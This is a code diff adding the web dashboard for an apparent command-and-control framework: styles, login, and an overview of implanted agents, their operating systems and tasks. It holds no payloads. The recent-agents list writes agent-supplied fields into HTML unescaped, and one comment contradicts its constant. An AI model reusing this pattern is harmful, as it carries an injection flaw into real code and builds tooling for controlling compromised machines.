||||
|
||||
.login-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
.login-option {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.6rem;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.92rem;
|
||||
}
|
||||
|
||||
.login-option input {
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
accent-color: var(--accent);
|
||||
}
|
||||
|
||||
.login-message {
|
||||
min-height: 1.4rem;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.93rem;
|
||||
}
|
||||
|
||||
.login-message[data-tone="success"] {
|
||||
color: var(--success);
|
||||
}
|
||||
|
||||
.login-message[data-tone="error"] {
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
.login-preview {
|
||||
margin-top: auto;
|
||||
padding-top: 1rem;
|
||||
border-top: 1px solid var(--border-main);
|
||||
color: var(--text-muted);
|
||||
display: grid;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.login-preview code {
|
||||
padding: 0.2rem 0.4rem;
|
||||
border: 1px solid var(--border-main);
|
||||
background: var(--bg-muted);
|
||||
color: var(--text-main);
|
||||
}
|
||||
|
||||
@media (max-width: 940px) {
|
||||
.login-shell {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
176
webui/assets/css/main.css
Normal file
176
webui/assets/css/main.css
Normal file
@ -0,0 +1,176 @@
|
||||
:root {
|
||||
color-scheme: dark;
|
||||
--bg-main: #0b0b0d;
|
||||
--bg-panel: #131316;
|
||||
--bg-panel-2: #191a1f;
|
||||
--bg-muted: #1e2026;
|
||||
--border-main: #2a2721;
|
||||
--border-strong: #3a3324;
|
||||
--text-main: #f3f0e8;
|
||||
--text-muted: #a7a39b;
|
||||
--accent: #d4af37;
|
||||
--accent-strong: #e2c15b;
|
||||
--danger: #be3737;
|
||||
--success: #7ccf9c;
|
||||
--shadow: 0 18px 48px rgba(0, 0, 0, 0.45);
|
||||
--overlay-subtle: rgba(255, 255, 255, 0.02);
|
||||
--overlay-border: rgba(255, 255, 255, 0.18);
|
||||
--overlay-accent: rgba(212, 175, 55, 0.08);
|
||||
--overlay-modal: rgba(0, 0, 0, 0.72);
|
||||
}
|
||||
|
||||
:root[data-theme="light"] {
|
||||
color-scheme: light;
|
||||
--bg-main: #f3f0ea;
|
||||
--bg-panel: #ffffff;
|
||||
--bg-panel-2: #f6f2eb;
|
||||
--bg-muted: #ebe6dc;
|
||||
--border-main: #d7d0c2;
|
||||
--border-strong: #bcae8b;
|
||||
--text-main: #171717;
|
||||
--text-muted: #5f5c57;
|
||||
--accent: #d4af37;
|
||||
--accent-strong: #e2c15b;
|
||||
--danger: #a94f4f;
|
||||
--success: #3d8453;
|
||||
--shadow: 0 18px 40px rgba(23, 23, 23, 0.12);
|
||||
--overlay-subtle: rgba(0, 0, 0, 0.02);
|
||||
--overlay-border: rgba(0, 0, 0, 0.12);
|
||||
--overlay-accent: rgba(183, 138, 16, 0.08);
|
||||
--overlay-modal: rgba(23, 23, 23, 0.68);
|
||||
}
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
html, body {
|
||||
min-height: 100%;
|
||||
}
|
||||
|
||||
body {
|
||||
background:
|
||||
radial-gradient(circle at top left, rgba(212, 175, 55, 0.08), transparent 24%),
|
||||
linear-gradient(180deg, var(--bg-main), var(--bg-main));
|
||||
color: var(--text-main);
|
||||
font-family: Inter, Segoe UI, Arial, sans-serif;
|
||||
}
|
||||
|
||||
a {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
button,
|
||||
input,
|
||||
select,
|
||||
textarea {
|
||||
font: inherit;
|
||||
}
|
||||
|
||||
button {
|
||||
border: 0;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.sr-only {
|
||||
position: absolute;
|
||||
width: 1px;
|
||||
height: 1px;
|
||||
padding: 0;
|
||||
margin: -1px;
|
||||
overflow: hidden;
|
||||
clip: rect(0, 0, 0, 0);
|
||||
white-space: nowrap;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
.hidden {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.icon-button,
|
||||
.button,
|
||||
.button-secondary {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 0.5rem;
|
||||
min-height: 42px;
|
||||
padding: 0.65rem 1rem;
|
||||
border-radius: 0;
|
||||
border: 1px solid transparent;
|
||||
transition: transform 120ms ease, border-color 120ms ease, background-color 120ms ease, color 120ms ease;
|
||||
}
|
||||
|
||||
.button {
|
||||
background: var(--accent);
|
||||
color: #111;
|
||||
border-color: rgba(255, 255, 255, 0.08);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.02em;
|
||||
}
|
||||
|
||||
.button-secondary,
|
||||
.icon-button {
|
||||
background: var(--bg-panel-2);
|
||||
color: var(--text-main);
|
||||
border-color: var(--border-main);
|
||||
}
|
||||
|
||||
.sidebar-footer .button-secondary {
|
||||
min-height: 32px;
|
||||
padding: 0.35rem 0.75rem;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.input,
|
||||
.select,
|
||||
textarea {
|
||||
width: 100%;
|
||||
min-height: 42px;
|
||||
padding: 0.7rem 0.9rem;
|
||||
border: 1px solid var(--border-main);
|
||||
background: var(--bg-panel);
|
||||
color: var(--text-main);
|
||||
outline: none;
|
||||
border-radius: 0;
|
||||
}
|
||||
|
||||
.input:focus,
|
||||
.select:focus,
|
||||
textarea:focus {
|
||||
border-color: var(--accent);
|
||||
box-shadow: 0 0 0 1px rgba(212, 175, 55, 0.25);
|
||||
}
|
||||
|
||||
.field-label {
|
||||
display: block;
|
||||
margin-bottom: 0.35rem;
|
||||
font-size: 0.82rem;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.card {
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--border-main);
|
||||
box-shadow: var(--shadow);
|
||||
}
|
||||
|
||||
.status-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
padding: 0.3rem 0.6rem;
|
||||
border: 1px solid var(--border-main);
|
||||
background: var(--bg-panel-2);
|
||||
color: var(--text-muted);
|
||||
font-size: 0.8rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
1421
webui/assets/js/agents.js
Normal file
1421
webui/assets/js/agents.js
Normal file
File diff suppressed because it is too large
Load Diff
429
webui/assets/js/app.js
Normal file
429
webui/assets/js/app.js
Normal file
@ -0,0 +1,429 @@
|
||||
(() => {
|
||||
const STORAGE_KEYS = {
|
||||
theme: 'altin.theme',
|
||||
token: 'altin.token',
|
||||
serverUrl: 'altin.serverUrl',
|
||||
};
|
||||
|
||||
const state = {
|
||||
serverUrl: '',
|
||||
token: '',
|
||||
agents: [],
|
||||
tasks: [],
|
||||
tasksUnavailable: false,
|
||||
};
|
||||
|
||||
const els = {};
|
||||
|
||||
const palette = [
|
||||
'#d4af37', '#7aa2f7', '#8bd17c', '#e88f6a', '#c97ff5', '#55c0b7', '#f0c674', '#d46a6a'
|
||||
];
|
||||
|
||||
// An agent that checked in more recently than this counts as active. Tombili's default
|
||||
// check-in interval is 10s with 5s of jitter, so 60s tolerates a few missed callbacks
|
||||
// while still flagging agents whose sleep interval has been raised via setsleep.
|
||||
const ACTIVE_WINDOW_MS = 300 * 1000;
|
||||
|
||||
// Shown instead of a number when a metric's source endpoint failed, so a 0 is never
|
||||
// mistaken for "none exist".
|
||||
const UNAVAILABLE = '—';
|
||||
|
||||
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||
|
||||
const escapeHTML = (value) => String(value ?? '')
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
|
||||
const setTheme = (theme) => {
|
||||
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||
if (els.themeToggle) {
|
||||
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||
els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`);
|
||||
}
|
||||
};
|
||||
|
||||
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||
|
||||
// The header carries no progress or success text any more - only failures, which
|
||||
// is what used to get silently dropped when these elements were missing. The
|
||||
// element starts empty and .page-error:empty hides it, so a healthy load leaves
|
||||
// no residue under the page title.
|
||||
const setError = (message) => {
|
||||
if (!els.pageError) return;
|
||||
els.pageError.textContent = message;
|
||||
};
|
||||
|
||||
const redirectToLogin = () => {
|
||||
window.location.href = '/login.html';
|
||||
};
|
||||
|
||||
const requireAuth = () => {
|
||||
const token = localStorage.getItem(STORAGE_KEYS.token);
|
||||
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||
|
||||
if (!token || !serverUrl) {
|
||||
redirectToLogin();
|
||||
return false;
|
||||
}
|
||||
|
||||
state.token = token;
|
||||
state.serverUrl = normalizeServer(serverUrl);
|
||||
return true;
|
||||
};
|
||||
|
||||
const apiFetch = async (path, options = {}) => {
|
||||
const headers = new Headers(options.headers || {});
|
||||
headers.set('Authorization', state.token);
|
||||
|
||||
if (options.body && !headers.has('Content-Type')) {
|
||||
headers.set('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
const response = await fetch(`${state.serverUrl}${path}`, {
|
||||
...options,
|
||||
headers,
|
||||
});
|
||||
|
||||
if (response.status === 401) {
|
||||
redirectToLogin();
|
||||
throw new Error('Unauthorized');
|
||||
}
|
||||
|
||||
return response;
|
||||
};
|
||||
|
||||
const loadJSON = async (path) => {
|
||||
const response = await apiFetch(path);
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
if (!response.ok) {
|
||||
throw new Error(payload.message || `Request failed (${response.status}) for ${path}`);
|
||||
}
|
||||
return payload;
|
||||
};
|
||||
|
||||
const formatNumber = (value) => new Intl.NumberFormat().format(value || 0);
|
||||
|
||||
// The server writes naive *local* timestamps (datetime.now()) but serialises them
|
||||
// with a GMT/UTC label, so parsing that label as UTC makes every timestamp look
|
||||
// hours in the past. Here that silently pinned every live agent to "Inactive".
|
||||
//
|
||||
// Rule: a real numeric offset (or Z) is authoritative and is trusted as-is. A bare
|
||||
// GMT/UTC label on an otherwise naive value is that bug, so the wall-clock fields
|
||||
// are re-read as local time instead.
|
||||
//
|
||||
// This is only exact when the browser and the server share a timezone, which holds
|
||||
// for single-host deployments. The real fix is datetime.now(timezone.utc) in
|
||||
// server/altin/agent.py.
|
||||
const parseServerTime = (value) => {
|
||||
if (!value) return NaN;
|
||||
if (typeof value === 'number') return value;
|
||||
if (/^\d{10,}$/.test(String(value).trim())) return Number(value);
|
||||
|
||||
const text = String(value).trim();
|
||||
|
||||
if (/[+-]\d{2}:?\d{2}$/.test(text) || /Z$/i.test(text)) {
|
||||
return new Date(text).getTime();
|
||||
}
|
||||
|
||||
const iso = text.match(/^(?:[A-Za-z]{3},?\s*)?(\d{4})-(\d{2})-(\d{2})[T ](\d{2}):(\d{2}):(\d{2})/);
|
||||
if (iso) {
|
||||
return new Date(+iso[1], +iso[2] - 1, +iso[3], +iso[4], +iso[5], +iso[6]).getTime();
|
||||
}
|
||||
|
||||
const rfc = text.match(/^[A-Za-z]{3},?\s*(\d{1,2})\s+([A-Za-z]{3})\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})/);
|
||||
if (rfc) {
|
||||
const months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
|
||||
const month = months.indexOf(rfc[2].toLowerCase());
|
||||
if (month >= 0) {
|
||||
return new Date(+rfc[3], month, +rfc[1], +rfc[4], +rfc[5], +rfc[6]).getTime();
|
||||
}
|
||||
}
|
||||
|
||||
return new Date(text).getTime();
|
||||
};
|
||||
|
||||
const formatTimeAgo = (value) => {
|
||||
const time = parseServerTime(value);
|
||||
if (!Number.isFinite(time)) return 'unknown';
|
||||
|
||||
const delta = Math.max(0, Date.now() - time);
|
||||
const minutes = Math.floor(delta / 60000);
|
||||
const hours = Math.floor(minutes / 60);
|
||||
const days = Math.floor(hours / 24);
|
||||
|
||||
if (days > 0) return `${days}d ago`;
|
||||
if (hours > 0) return `${hours}h ago`;
|
||||
if (minutes > 0) return `${minutes}m ago`;
|
||||
return 'just now';
|
||||
};
|
||||
|
||||
const isAgentActive = (agent) => {
|
||||
const lastSeen = parseServerTime(agent.last_checkin);
|
||||
if (!Number.isFinite(lastSeen)) return false;
|
||||
return (Date.now() - lastSeen) < ACTIVE_WINDOW_MS;
|
||||
};
|
||||
|
||||
const buildCountMap = (items, keyFn) => {
|
||||
const map = new Map();
|
||||
items.forEach((item) => {
|
||||
const key = keyFn(item) || 'unknown';
|
||||
map.set(key, (map.get(key) || 0) + 1);
|
||||
});
|
||||
return [...map.entries()].sort((a, b) => b[1] - a[1]);
|
||||
};
|
||||
|
||||
const renderMetrics = () => {
|
||||
const sent = state.tasks.filter((task) => task.sent).length;
|
||||
const completed = state.tasks.filter((task) => task.completed).length;
|
||||
const active = state.agents.filter(isAgentActive).length;
|
||||
const inactive = state.agents.length - active;
|
||||
// A 0 here would read as "no tasks exist" when the truth is "we could not ask".
|
||||
const taskValue = state.tasksUnavailable ? UNAVAILABLE : formatNumber(state.tasks.length);
|
||||
const taskNote = state.tasksUnavailable ? 'task endpoint returned an error' : null;
|
||||
|
||||
els.metricAgents.textContent = formatNumber(state.agents.length);
|
||||
els.metricActive.textContent = formatNumber(active);
|
||||
els.metricInactive.textContent = formatNumber(inactive);
|
||||
els.metricTasks.textContent = taskValue;
|
||||
els.metricSent.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(sent);
|
||||
els.metricCompleted.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(completed);
|
||||
};
|
||||
|
||||
const drawPieChart = (canvas, data) => {
|
||||
const ctx = canvas.getContext('2d');
|
||||
const dpr = Math.max(1, window.devicePixelRatio || 1);
|
||||
const size = Math.floor(canvas.clientWidth);
|
||||
|
||||
canvas.width = size * dpr;
|
||||
canvas.height = size * dpr;
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
ctx.clearRect(0, 0, size, size);
|
||||
|
||||
const total = data.reduce((sum, item) => sum + item.value, 0);
|
||||
const center = size / 2;
|
||||
const radius = size * 0.36;
|
||||
let startAngle = -Math.PI / 2;
|
||||
|
||||
ctx.save();
|
||||
ctx.translate(center, center);
|
||||
|
||||
if (!total) {
|
||||
ctx.beginPath();
|
||||
ctx.arc(0, 0, radius, 0, Math.PI * 2);
|
||||
ctx.fillStyle = 'rgba(255,255,255,0.03)';
|
||||
ctx.fill();
|
||||
ctx.lineWidth = 1;
|
||||
ctx.strokeStyle = 'rgba(255,255,255,0.08)';
|
||||
ctx.stroke();
|
||||
ctx.restore();
|
||||
return;
|
||||
}
|
||||
|
||||
data.forEach((item, index) => {
|
||||
const angle = (item.value / total) * Math.PI * 2;
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, 0);
|
||||
ctx.arc(0, 0, radius, startAngle, startAngle + angle);
|
||||
ctx.closePath();
|
||||
ctx.fillStyle = palette[index % palette.length];
|
||||
ctx.fill();
|
||||
startAngle += angle;
|
||||
});
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.arc(0, 0, radius * 0.58, 0, Math.PI * 2);
|
||||
ctx.fillStyle = getComputedStyle(document.documentElement).getPropertyValue('--bg-panel');
|
||||
ctx.fill();
|
||||
|
||||
ctx.restore();
|
||||
};
|
||||
|
||||
const renderDonut = ({ canvas, legend, totalChip, centerTotal, subtitle, keyFn, caption, emptyLabel }) => {
|
||||
const counts = buildCountMap(state.agents, keyFn);
|
||||
const total = state.agents.length;
|
||||
const slices = counts.map(([name, value]) => ({ name, value }));
|
||||
|
||||
totalChip.textContent = formatNumber(total);
|
||||
centerTotal.textContent = formatNumber(total);
|
||||
subtitle.textContent = total ? caption : 'no agents registered';
|
||||
|
||||
if (!slices.length) {
|
||||
legend.innerHTML = `<div class="empty-state">${emptyLabel}</div>`;
|
||||
drawPieChart(canvas, []);
|
||||
return;
|
||||
}
|
||||
|
||||
legend.innerHTML = slices.map((item, index) => `
|
||||
<div class="legend-item">
|
||||
<div class="legend-key">
|
||||
<span class="legend-swatch" style="background:${palette[index % palette.length]}"></span>
|
||||
<span class="legend-name">${escapeHTML(item.name)}</span>
|
||||
</div>
|
||||
<span class="legend-count">${item.value}</span>
|
||||
</div>
|
||||
`).join('');
|
||||
|
||||
drawPieChart(canvas, slices);
|
||||
};
|
||||
|
||||
const renderCharts = () => {
|
||||
renderDonut({
|
||||
canvas: els.chartCanvas,
|
||||
legend: els.legendList,
|
||||
totalChip: els.chartTotal,
|
||||
centerTotal: els.chartTotalCenter,
|
||||
subtitle: els.chartSubtitle,
|
||||
keyFn: (agent) => agent.implant_id,
|
||||
caption: 'agents by implant type',
|
||||
emptyLabel: 'No implant types available yet.',
|
||||
});
|
||||
|
||||
renderDonut({
|
||||
canvas: els.osChartCanvas,
|
||||
legend: els.osLegendList,
|
||||
totalChip: els.osChartTotal,
|
||||
centerTotal: els.osChartTotalCenter,
|
||||
subtitle: els.osChartSubtitle,
|
||||
keyFn: (agent) => agent.os,
|
||||
caption: 'agents by operating system',
|
||||
emptyLabel: 'No operating systems available yet.',
|
||||
});
|
||||
};
|
||||
|
||||
const renderRecentAgents = () => {
|
||||
const recent = [...state.agents].sort((a, b) => new Date(b.last_checkin) - new Date(a.last_checkin)).slice(0, 6);
|
||||
|
||||
if (!recent.length) {
|
||||
els.recentList.innerHTML = '<div class="empty-state">No agents have checked in yet.</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
els.recentList.innerHTML = recent.map((agent) => `
|
||||
<article class="recent-item">
|
||||
<div class="recent-topline">
|
||||
<div class="recent-strong">${agent.ip}</div>
|
||||
<span class="status-chip">${agent.os}</span>
|
||||
</div>
|
||||
<div class="recent-meta">
|
||||
<span>${agent.implant_id}</span>
|
||||
<span>${formatTimeAgo(agent.last_checkin)}</span>
|
||||
<span>${(agent.tags || []).length} tags</span>
|
||||
</div>
|
||||
</article>
|
||||
`).join('');
|
||||
};
|
||||
|
||||
const renderHeaderMeta = () => {
|
||||
const server = state.serverUrl.replace(/^https?:\/\//, '');
|
||||
if (els.serverChip) {
|
||||
els.serverChip.textContent = server;
|
||||
}
|
||||
};
|
||||
|
||||
const sortAgents = () => {
|
||||
state.agents.sort((a, b) => {
|
||||
const ipCompare = (a.ip || '').localeCompare(b.ip || '', undefined, { numeric: true, sensitivity: 'base' });
|
||||
if (ipCompare !== 0) return ipCompare;
|
||||
return (a.implant_id || '').localeCompare(b.implant_id || '', undefined, { sensitivity: 'base' });
|
||||
});
|
||||
};
|
||||
|
||||
const loadOverview = async () => {
|
||||
setError('');
|
||||
state.tasksUnavailable = false;
|
||||
|
||||
// Settled rather than all: the agents and tasks endpoints are independent, and one
|
||||
// failing must not discard the other's data. /api/tasks in particular 500s whenever a
|
||||
// task references a deleted agent, which would otherwise blank the whole dashboard.
|
||||
const [agentsOutcome, tasksOutcome] = await Promise.allSettled([
|
||||
loadJSON('/api/agents'),
|
||||
loadJSON('/api/tasks'),
|
||||
]);
|
||||
|
||||
const agentsFailed = agentsOutcome.status === 'rejected';
|
||||
const tasksFailed = tasksOutcome.status === 'rejected';
|
||||
|
||||
state.agents = agentsFailed ? [] : (agentsOutcome.value.agents || []);
|
||||
if (!agentsFailed) sortAgents();
|
||||
|
||||
state.tasks = tasksFailed ? [] : (tasksOutcome.value.tasks || []);
|
||||
state.tasksUnavailable = tasksFailed;
|
||||
|
||||
renderMetrics();
|
||||
renderCharts();
|
||||
renderRecentAgents();
|
||||
renderHeaderMeta();
|
||||
|
||||
if (agentsFailed) {
|
||||
setError(agentsOutcome.reason?.message || 'Failed to load agents.');
|
||||
els.legendList.innerHTML = '<div class="empty-state">Unable to load overview data.</div>';
|
||||
els.osLegendList.innerHTML = '<div class="empty-state">Unable to load overview data.</div>';
|
||||
els.recentList.innerHTML = '<div class="empty-state">Unable to load recent agents.</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
// A task failure is not fatal - the task cards fall back to an em dash and the
|
||||
// rest of the dashboard is still accurate - so it is reported here rather than
|
||||
// blanking the page.
|
||||
if (tasksFailed) {
|
||||
setError(tasksOutcome.reason?.message || 'Failed to load tasks.');
|
||||
}
|
||||
};
|
||||
|
||||
const initializeTheme = () => {
|
||||
setTheme(getTheme());
|
||||
els.themeToggle.addEventListener('click', () => {
|
||||
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||
});
|
||||
};
|
||||
|
||||
const initializeLogout = () => {
|
||||
els.logoutButton.addEventListener('click', () => {
|
||||
localStorage.removeItem(STORAGE_KEYS.token);
|
||||
redirectToLogin();
|
||||
});
|
||||
};
|
||||
|
||||
const cacheElements = () => {
|
||||
els.themeToggle = document.getElementById('themeToggle');
|
||||
els.logoutButton = document.getElementById('logoutButton');
|
||||
els.pageError = document.getElementById('pageError');
|
||||
els.serverChip = document.getElementById('serverChip');
|
||||
els.metricAgents = document.getElementById('metricAgents');
|
||||
els.metricActive = document.getElementById('metricActive');
|
||||
els.metricInactive = document.getElementById('metricInactive');
|
||||
els.metricTasks = document.getElementById('metricTasks');
|
||||
els.metricSent = document.getElementById('metricSent');
|
||||
els.metricCompleted = document.getElementById('metricCompleted');
|
||||
els.chartCanvas = document.getElementById('chartCanvas');
|
||||
els.chartTotal = document.getElementById('chartTotal');
|
||||
els.chartTotalCenter = document.getElementById('chartTotalCenter');
|
||||
els.chartSubtitle = document.getElementById('chartSubtitle');
|
||||
els.legendList = document.getElementById('legendList');
|
||||
els.osChartCanvas = document.getElementById('osChartCanvas');
|
||||
els.osChartTotal = document.getElementById('osChartTotal');
|
||||
els.osChartTotalCenter = document.getElementById('osChartTotalCenter');
|
||||
els.osChartSubtitle = document.getElementById('osChartSubtitle');
|
||||
els.osLegendList = document.getElementById('osLegendList');
|
||||
els.recentList = document.getElementById('recentList');
|
||||
};
|
||||
|
||||
const main = async () => {
|
||||
if (!requireAuth()) {
|
||||
return;
|
||||
}
|
||||
|
||||
cacheElements();
|
||||
initializeTheme();
|
||||
initializeLogout();
|
||||
await loadOverview();
|
||||
window.addEventListener('resize', renderCharts);
|
||||
};
|
||||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
})();
|
||||
193
webui/assets/js/auth.js
Normal file
193
webui/assets/js/auth.js
Normal file
@ -0,0 +1,193 @@
|
||||
(() => {
|
||||
const STORAGE_KEYS = {
|
||||
theme: 'altin.theme',
|
||||
token: 'altin.token',
|
||||
serverUrl: 'altin.serverUrl',
|
||||
savedServers: 'altin.savedServers',
|
||||
};
|
||||
|
||||
const state = {
|
||||
pendingLogin: null,
|
||||
};
|
||||
|
||||
const els = {};
|
||||
|
||||
const readJSON = (key, fallback) => {
|
||||
try {
|
||||
const raw = localStorage.getItem(key);
|
||||
return raw ? JSON.parse(raw) : fallback;
|
||||
} catch {
|
||||
return fallback;
|
||||
}
|
||||
};
|
||||
|
||||
const writeJSON = (key, value) => {
|
||||
localStorage.setItem(key, JSON.stringify(value));
|
||||
};
|
||||
|
||||
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||
|
||||
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||
|
||||
const setTheme = (theme) => {
|
||||
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||
if (els.themeToggle) {
|
||||
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||
els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`);
|
||||
}
|
||||
};
|
||||
|
||||
const showMessage = (message, tone = '') => {
|
||||
if (!els.loginMessage) return;
|
||||
els.loginMessage.textContent = message;
|
||||
els.loginMessage.dataset.tone = tone;
|
||||
};
|
||||
|
||||
const getSavedServers = () => {
|
||||
const servers = readJSON(STORAGE_KEYS.savedServers, []);
|
||||
return Array.isArray(servers) ? servers : [];
|
||||
};
|
||||
|
||||
const saveServerEntry = ({ url, username }) => {
|
||||
const servers = getSavedServers();
|
||||
const normalizedUrl = normalizeServer(url);
|
||||
const existingIndex = servers.findIndex((entry) => entry.url === normalizedUrl);
|
||||
const entry = {
|
||||
url: normalizedUrl,
|
||||
label: normalizedUrl,
|
||||
lastUsed: new Date().toISOString(),
|
||||
};
|
||||
|
||||
if (existingIndex >= 0) {
|
||||
servers[existingIndex] = entry;
|
||||
} else {
|
||||
servers.unshift(entry);
|
||||
}
|
||||
|
||||
writeJSON(STORAGE_KEYS.savedServers, servers.slice(0, 10));
|
||||
};
|
||||
|
||||
const renderSavedServers = () => {
|
||||
const servers = getSavedServers();
|
||||
if (!els.savedServerWrap || !els.savedServer) return;
|
||||
|
||||
if (!servers.length) {
|
||||
els.savedServerWrap.classList.add('hidden');
|
||||
els.savedServer.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
|
||||
els.savedServerWrap.classList.remove('hidden');
|
||||
els.savedServer.innerHTML = [
|
||||
'<option value="">Select a saved server</option>',
|
||||
...servers.map((entry, index) => `<option value="${index}">${entry.label || entry.url}</option>`),
|
||||
].join('');
|
||||
};
|
||||
|
||||
const applyServerSelection = (index) => {
|
||||
const servers = getSavedServers();
|
||||
if (index === '' || index == null) return;
|
||||
const entry = servers[Number(index)];
|
||||
if (!entry) return;
|
||||
|
||||
els.serverUrl.value = entry.url;
|
||||
showMessage(`Loaded ${entry.label || entry.url}`, '');
|
||||
};
|
||||
|
||||
const goHome = () => {
|
||||
window.location.href = '/index.html';
|
||||
};
|
||||
|
||||
const persistAuth = ({ token, url, username }) => {
|
||||
localStorage.setItem(STORAGE_KEYS.token, token);
|
||||
localStorage.setItem(STORAGE_KEYS.serverUrl, normalizeServer(url));
|
||||
};
|
||||
|
||||
const login = async (event) => {
|
||||
event.preventDefault();
|
||||
showMessage('Signing in…');
|
||||
|
||||
const url = normalizeServer(els.serverUrl.value);
|
||||
const username = els.username.value.trim();
|
||||
const password = els.password.value;
|
||||
|
||||
if (!url || !username || !password) {
|
||||
showMessage('All fields are required.', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await fetch(`${url}/api/login`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({ username, password }),
|
||||
});
|
||||
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
|
||||
if (!response.ok) {
|
||||
throw new Error(payload.message || 'Login failed.');
|
||||
}
|
||||
|
||||
persistAuth({ token: payload.token, url, username });
|
||||
if (els.rememberServer?.checked) {
|
||||
saveServerEntry({ url, username });
|
||||
renderSavedServers();
|
||||
}
|
||||
|
||||
showMessage('Login successful.', 'success');
|
||||
goHome();
|
||||
} catch (error) {
|
||||
showMessage(error.message || 'Unable to reach the server.', 'error');
|
||||
}
|
||||
};
|
||||
|
||||
const initializeThemeToggle = () => {
|
||||
setTheme(getTheme());
|
||||
els.themeToggle?.addEventListener('click', () => {
|
||||
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||
});
|
||||
};
|
||||
|
||||
const initializeSavedServerPicker = () => {
|
||||
renderSavedServers();
|
||||
els.savedServer?.addEventListener('change', (event) => applyServerSelection(event.target.value));
|
||||
};
|
||||
|
||||
const initializeLoginHandlers = () => {
|
||||
els.loginForm?.addEventListener('submit', login);
|
||||
};
|
||||
|
||||
const restoreDefaults = () => {
|
||||
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||
|
||||
if (serverUrl) {
|
||||
els.serverUrl.value = serverUrl;
|
||||
}
|
||||
};
|
||||
|
||||
const cacheElements = () => {
|
||||
els.themeToggle = document.getElementById('themeToggle');
|
||||
els.loginForm = document.getElementById('loginForm');
|
||||
els.serverUrl = document.getElementById('serverUrl');
|
||||
els.username = document.getElementById('username');
|
||||
els.password = document.getElementById('password');
|
||||
els.loginMessage = document.getElementById('loginMessage');
|
||||
els.savedServerWrap = document.getElementById('savedServerWrap');
|
||||
els.savedServer = document.getElementById('savedServer');
|
||||
els.rememberServer = document.getElementById('rememberServer');
|
||||
};
|
||||
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
cacheElements();
|
||||
initializeThemeToggle();
|
||||
restoreDefaults();
|
||||
initializeSavedServerPicker();
|
||||
initializeLoginHandlers();
|
||||
showMessage('Choose a server and sign in to continue.');
|
||||
});
|
||||
})();
|
||||
344
webui/assets/js/keys.js
Normal file
344
webui/assets/js/keys.js
Normal file
@ -0,0 +1,344 @@
|
||||
(() => {
|
||||
const STORAGE_KEYS = {
|
||||
theme: 'altin.theme',
|
||||
token: 'altin.token',
|
||||
serverUrl: 'altin.serverUrl',
|
||||
};
|
||||
|
||||
const state = {
|
||||
serverUrl: '',
|
||||
token: '',
|
||||
keys: [],
|
||||
filteredKeys: [],
|
||||
search: '',
|
||||
editingKey: null,
|
||||
revealedKeys: new Set(),
|
||||
};
|
